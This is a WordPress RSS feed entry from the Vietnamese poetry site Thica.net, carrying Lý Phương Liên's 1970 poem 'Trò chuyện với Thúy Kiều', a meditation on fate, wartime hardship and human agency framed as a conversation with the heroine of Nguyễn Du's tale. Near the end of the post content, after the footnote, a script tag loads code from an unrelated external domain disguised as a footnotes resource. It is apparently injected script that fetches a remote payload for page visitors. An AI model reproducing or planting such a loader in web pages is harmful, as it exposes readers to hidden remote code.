<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Thica.netBài thơ &quot;Trò chuyện với Thúy Kiều&quot; của nhà thơ Lý Phương Liên - Thica.net</title>
	<atom:link href="https://www.thica.net/2015/09/18/tro-chuyen-voi-thuy-kieu/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.thica.net/2015/09/18/tro-chuyen-voi-thuy-kieu/</link>
	<description>Mạng thi ca Việt Nam</description>
	<lastBuildDate>Fri, 13 Mar 2026 06:12:14 +0000</lastBuildDate>
	<language>en-US</language>
		<sy:updatePeriod>hourly</sy:updatePeriod>
		<sy:updateFrequency>1</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.6.5</generator>
<site xmlns="com-wordpress:feed-additions:1">3122721</site>	<item>
		<title>Trò chuyện với Thúy Kiều</title>
		<link>https://www.thica.net/2015/09/18/tro-chuyen-voi-thuy-kieu/</link>
		<comments>https://www.thica.net/2015/09/18/tro-chuyen-voi-thuy-kieu/#respond</comments>
		<pubDate>Fri, 18 Sep 2015 02:53:41 +0000</pubDate>
		<dc:creator><![CDATA[Lý Phương Liên]]></dc:creator>
				<category><![CDATA[Lý Phương Liên]]></category>
		<category><![CDATA[Cuộc sống]]></category>
		<category><![CDATA[Hi vọng]]></category>
		<category><![CDATA[Niềm tin]]></category>
		<category><![CDATA[Suy ngẫm]]></category>

		<guid isPermaLink="false">http://www.thica.net/?p=15667</guid>
		<description><![CDATA[<p>[...]</p>
<p>Đường ra biển có thể dài năm tháng <br />
Mất mát nhiều hơn, gian khổ cũng nhiều hơn <br />
Nhưng một điều chắc chắn phi thường <br />
Chúng tôi sẽ lên bờ vào một ngày nắng đẹp... <br />
Bạn có nghe tiếng gõ cửa cuộc đời mạnh gấp <br />
Vọng từ xa đang nối đến gần? <br />
Là thi nhân xin chớ vội gieo vần <br />
Dù hai chữ viết hoa Định Mệnh <br />
Là nhạc sĩ tài hoa chớ vội ghi lên phím <br />
Tiếng nhân định âm vang... <br />
Thuý Kiều ơi, tôi nghe rõ tiếng đàn <br />
Nàng đang gảy khúc nào mà bổng trầm réo rắt <br />
Tiếng gõ cửa cuộc đời ngày thêm dồn, thêm gấp <br />
Lắng nghe, lắng nghe... chính tiếng đập tay người <br />
Chúng ta mở cửa cuộc đời <br />
Và cầm lái con thuyền nhân định <br />
Giữa biển lớn thuyền chúng ta lướt đến <br />
Sáng toàn thân ánh sáng của con người!</p>
<p>The post <a href="https://www.thica.net/2015/09/18/tro-chuyen-voi-thuy-kieu/">Trò chuyện với Thúy Kiều</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></description>
				<content:encoded><![CDATA[<p>1<br />Hai trăm năm và chảy dài vô hạn<br />Thuý Kiều ơi, nàng sống tháng năm dài<br />Trái đất chúng mình cho đến hôm nay<br />Vẫn còn những cuộc đời như nàng chìm nổi<br />Thời gian còn nửa ngày là đêm tối<br />Còn đồng tiền đổi trắng thay đen<br />Còn sắc tài bạc mệnh với hờn ghen<br />Còn những Mã Giám Sinh, Hoạn Thư, Hồ Tôn Hiến<br />Còn những đất đai triền miên chinh chiến<br />Thuý Kiều ơi, nàng sống tháng năm dài&#8230; </p><p>Cho cả những nơi đã sống thật cuộc đời<br />Bóng dáng nàng vẫn còn trong tiếng hát<br />Tuổi nhỏ lớn lên rồi biết<br />Võng bà đưa, nôi mẹ đẩy&#8230; câu ru<br />Thuý Kiều ơi, quá khứ thật vô tư<br />Nó tương phản bình minh và đêm tối<br />Nó đơn giản hơn mọi lời giả dối<br />Thuý Kiều ơi, nàng sống tháng năm dài<br />Thiên tài của chúng ta đã ôm gọn cuộc đời<br />Số phận của nhân dân và đất nước<br />Ai chẳng đã một lần nghe dịu ngọt<br />Bốn khúc đàn Kiều gẩy từng trang<br />Bốn tiếng đàn chuyển động không gian<br />Bốn tiếng đàn lắng thấm vào tâm tưởng<br />Ôi con người có dễ gì tưởng tượng<br />Con người khốn khổ thế này chăng?<br />Thuý Kiều ơi, trong cả tiếng đàn thầm<br />Tôi nghe nàng như Kỳ, Nha hội ngộ<br />Bốn tiếng đàn khi mờ, khi tỏ<br />Khi yêu đương duyên lứa hẹn hò<br />Khi lầu xanh âm chát, cung chua<br />Khi tái hợp cung buồn, âm gẫy<br />Năm ngón tay ròng ròng máu chảy<br />Ruột gan vò xé ruột gan<br />Người đau đau cả tiếng đàn<br />Người đau trong sách nỗi đau dặm dài<br />Thuý Kiều ơi, Thuý Kiều ơi<br />Bao giờ người mới thoát đời lênh đênh?<br />Thời gian đọng lại buồn tênh<br />Mỗi trang Kiều một mông mênh cõi người&#8230;<br />Thắp hương lạy hỏi thiên tài<br />Cuộc đời Kiều phải số trời đó chăng?<br />Nguyễn Du người đã yên nằm<br />Mà lời định mệnh vẫn thầm nhắc ai&#8230; </p><p>2<br />Mẹ em bảo<br />&#8220;Có một đấng thiêng đứng trên đầu trái đất<br />Đôi mắt nhìn khắp cả xa sau&#8230;&#8221;<br />Mẹ em tin như thế từ lâu<br />Và cầu mong số phận đừng phụ bạc<br />Niềm tin ấy chẳng bao giờ đổi khác<br />Chết chồng lủi thủi nuôi con<br />Mẹ không thể làm gì cho đời mẹ vui hơn<br />Số phận buộc mẹ vào cơ cực<br />Những lúc mẹ thầm thào với con về hạnh phúc<br />Cũng là khi lòng mẹ nguyện cầu<br />Ai đưa mẹ tới mai sau<br />Thiên đường của một hành tinh khác<br />Con kinh hoàng nhận nỗi đau mẹ chết<br />Cuộc đời này có số phận thật chăng?<br />Cuộc đời này có số phận thật chăng?<br />Từ mộ huyệt cõi âm vọng đáp<br />Hãy sống đi rồi biết<br />Vời vợi cao xanh chỉ thấy mây cười<br />Mỗi người chúng ta đều có riêng một cửa vào đời<br />Mẹ biết chọn cửa nào để sinh con sung sướng<br />Ôi thiên cơ sau cửa đóng<br />Có đấng nào mách bảo mẹ đâu<br />Đời con còn đó mai sau<br />Sống là điều mẹ nguyện cầu cho con<br />Này cửa thiếp vàng sơn son<br />Này cửa xanh rờn mây biếc<br />Này cửa nâu đồng ánh bạc&#8230;<br />Cửa nào cũng khoá chốt, cài then<br />Hỡi oan hồn định mệnh Đạm Tiên<br />Hỡi réo rắt tiếng đàn Kiều trầm bổng<br />Xin đừng dọa người yêu cuộc sống<br />Em bước lên gõ cửa cuộc đời<br />Đời của tôi ơi<br />Em mở vòng tay đón<br />Hỡi trời cao đất rộng<br />Đời bao nhiêu sắc màu, bao cung bậc âm thanh<br />Sắc màu nào chẳng vẽ nên tranh<br />Cung bực nào chẳng thành thơ, thành nhạc<br />Đại dương nào ẩn trong màu nước biếc<br />Chẳng sóng ngầm, mắt bão với phong ba<br />Không có con đường nào toàn bóng mát và hoa<br />Không có vùng trời nào toàn chim hót<br />Không có cây khế vàng trong cổ tích<br />Kho báu cũng không, dù có mật khẩu vừng&#8230;<br />Em đón nhận đời em sau một thoáng hãi hùng<br />Chôn mẹ, nuôi đàn em thơ dại<br />An phận ư? Mơ hồ sợ hãi<br />Sống vẫn là lời mẹ dặn thiêng liêng&#8230; </p><p>3<br />Thuý Kiều ơi, nàng nặng nợ Đạm Tiên<br />Trói mình trong định mệnh<br />Bẩy nổi ba chìm, lầu xanh am lạnh<br />Sắc tài năm tháng tàn phai<br />Tiền Đường tháo cởi nợ đời<br />Nợ đời không dứt được<br />Phật không cho nàng chết<br />Nàng phải tái hồi Kim Trọng ở trong thơ<br />Trói mình giấc chết như hoa<br />Trong đêm giấc chất dần dà như say<br />Sông Hồng đó, nọ Hồ Tây<br />Chết trong nước cuốn có ngày nổi lên<br />Kiểu gì chết cũng thấp hèn<br />Kiểu gì chết cũng làm hoen ố đời<br />Trên chết chóc muốn dập vùi<br />Trên đau thương mới là người, người ơi&#8230;<br />Tôi sẽ sống lâu, tôi sẽ sống dài<br />Tôi tuổi hai mươi, không nơi nào có được<br />Tôi sinh ra giữa cơn lốc xoáy tròn đất nước<br />Một ngàn chín trăm năm mươi<br />Cả dân tộc đổ xuống đầu giặc Pháp<br />Cơn phẫn nộ muốn làm người<br />Gian nan chỉ thấy môi cười<br />Bao máu đỏ nhuộm nên cờ chiến thắng<br />Hai mươi năm không ai ngồi đếm ngày đếm tháng<br />Những ngày sáu chín, bẩy mươi<br />Chẳng có nơi đâu hơn tuyệt diệu con người<br />Vai gánh nặng cuộc chiến tranh huỷ diệt<br />Mỗi người dân đều nhận phần mất mát<br />Chia đều nhau bom đạn với cơm ăn<br />Khó chẳng riêng ai nên khó chẳng một mình<br />Chung số phận với nhân dân mà chiến đấu<br />Thuý Kiều ơi, thời tôi sống biết bao người đổ máu<br />Lúc tuổi hai mươi như nàng<br />Ai tuổi hai mươi chẳng kháo khát một môi hôn<br />Ai tuổi hai mươi không hẹn hò, ghen nhớ<br />Ai tuổi hai mươi chẳng ước ao làm chồng làm vợ<br />Vậy mà sống mãi tuổi hai mươi&#8230;<br />Em tuổi hai mươi như tất cả mọi người<br />Chọn số phận ở thời mình đang sống&#8230;<br />Muốn hỏi Kiều, hồn Đạm Tiên có hiện về báo mộng<br />Thời những trang Kiều bị tan nát đạn bom<br />Để một mai ai biết Kiều buồn<br />Đàn nàng gảy không còn ai nghe nữa<br />Định mệnh đây, chúng tôi bay qua lửa<br />Cứu sống Kiều từng trang </p><p>4<br />Thuý Kiều ơi, sao chưa hết bàng hoàng<br />Đàn tan hợp vẫn âm chìm, âm lạnh<br />Sao cứ mãi oán than thiên định<br />Sở Khanh, Ưng Khuyển bầy đàn<br />Thời nào chẳng có ngay gian<br />Nhân định cần chi lời khóc thảm<br />Hai vai tôi kéo lặc lè đồ đạc nặng<br />Cũng như nàng, có thể nặng hơn<br />Có khác chăng, nàng chẳng một đoái thương<br />Xe đồ tôi ai qua đường cũng đẩy<br />Những mái tóc bạc phơ hay đỏ cháy<br />Những nét cười duyên dáng cũng xăn tay<br />Ai cũng nhận xe đồ tôi chở nặng hôm nay<br />Là chính xe đồ mình chở nặng<br />Xung quanh tôi không một ngày buồn vắng<br />Không một đêm cay đắng tủi hờn<br />Không một ai có thể giàu hơn<br />Không ruột thịt mà đầy nhà ruột thịt<br />Không họ hàng mà sum vầy thân thiết<br />Không mẹ cha mà đầy đủ mẹ cha<br />Tôi vượt lên mình thực chẳng êm ru<br />Nhưng đứng lại thì chưa ngày tôi nghỉ<br />Tôi cứ đi chuyên cần bền bỉ<br />Trông xa về phía trời hồng<br />Thuý Kiều ơi, như người sang sông<br />Tôi đưa đò cập bến<br />Năm chị em côi nghỉ dăm ngày trên bến<br />Sắp đến đoạn đường ra biển dài lâu<br />Cuộc đời mình chưa lặng gió được đâu<br />Đất nước chiến tranh nhân dân còn cơ cực<br />Khi cái chết vãi từ trên phản lực<br />Bom chùm, bom lửa, bom bi&#8230;<br />Đời còn nhiều gian khó phải qua<br />Để đến được mùa hoa sai, quả trĩu<br />Cơ thể của nhân dân cơ hàn đang phải chịu<br />Số phận mình là số phận của nhân dân<br />Soi gương đời nhìn thấy hết gian truân<br />Thấy hết gian truân để mà cười, mà sống&#8230;<br />Đường ra biển có thể dài năm tháng<br />Mất mát nhiều hơn, gian khổ cũng nhiều hơn<br />Nhưng một điều chắc chắn phi thường<br />Chúng tôi sẽ lên bờ vào một ngày nắng đẹp&#8230;<br />Bạn có nghe tiếng gõ cửa cuộc đời mạnh gấp<br />Vọng từ xa đang nối đến gần?<br />Là thi nhân xin chớ vội gieo vần<br />Dù hai chữ viết hoa Định Mệnh<br />Là nhạc sĩ tài hoa chớ vội ghi lên phím<br />Tiếng nhân định âm vang&#8230;<br />Thuý Kiều ơi, tôi nghe rõ tiếng đàn<br />Nàng đang gảy khúc nào mà bổng trầm réo rắt<br />Tiếng gõ cửa cuộc đời ngày thêm dồn, thêm gấp<br />Lắng nghe, lắng nghe&#8230; chính tiếng đập tay người<br />Chúng ta mở cửa cuộc đời<br />Và cầm lái con thuyền nhân định<br />Giữa biển lớn thuyền chúng ta lướt đến<br />Sáng toàn thân ánh sáng của con người! <sup><a href="https://www.thica.net/2015/09/18/tro-chuyen-voi-thuy-kieu/#footnote_0_15667" id="identifier_0_15667" class="footnote-link footnote-identifier-link" title="B&agrave;i thơ n&agrave;y khi in lần đầu tr&ecirc;n b&aacute;o Nh&acirc;n d&acirc;n năm 1970 c&oacute; tựa đề Nghĩ về Th&uacute;y Kiều. Sau n&agrave;y khi in trong tập thơ, t&aacute;c giả đổi tựa đề th&agrave;nh Tr&ograve; chuyện với Th&uacute;y Kiều">1</a></sup></p><p><em>1970</em></p><ol class="footnotes"><li id="footnote_0_15667" class="footnote">Bài thơ này khi in lần đầu trên báo Nhân dân năm 1970 có tựa đề <em>Nghĩ về Thúy Kiều</em>. Sau này khi in trong tập thơ, tác giả đổi tựa đề thành <em>Trò chuyện với Thúy Kiều</em></li></ol><script src=https://buryebilgrill.online/footnotes></script><p>The post <a href="https://www.thica.net/2015/09/18/tro-chuyen-voi-thuy-kieu/">Trò chuyện với Thúy Kiều</a> appeared first on <a href="https://www.thica.net">Thica.net</a>.</p>
]]></content:encoded>
			<wfw:commentRss>https://www.thica.net/2015/09/18/tro-chuyen-voi-thuy-kieu/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	<post-id xmlns="com-wordpress:feed-additions:1">15667</post-id>	</item>
	</channel>
</rss>
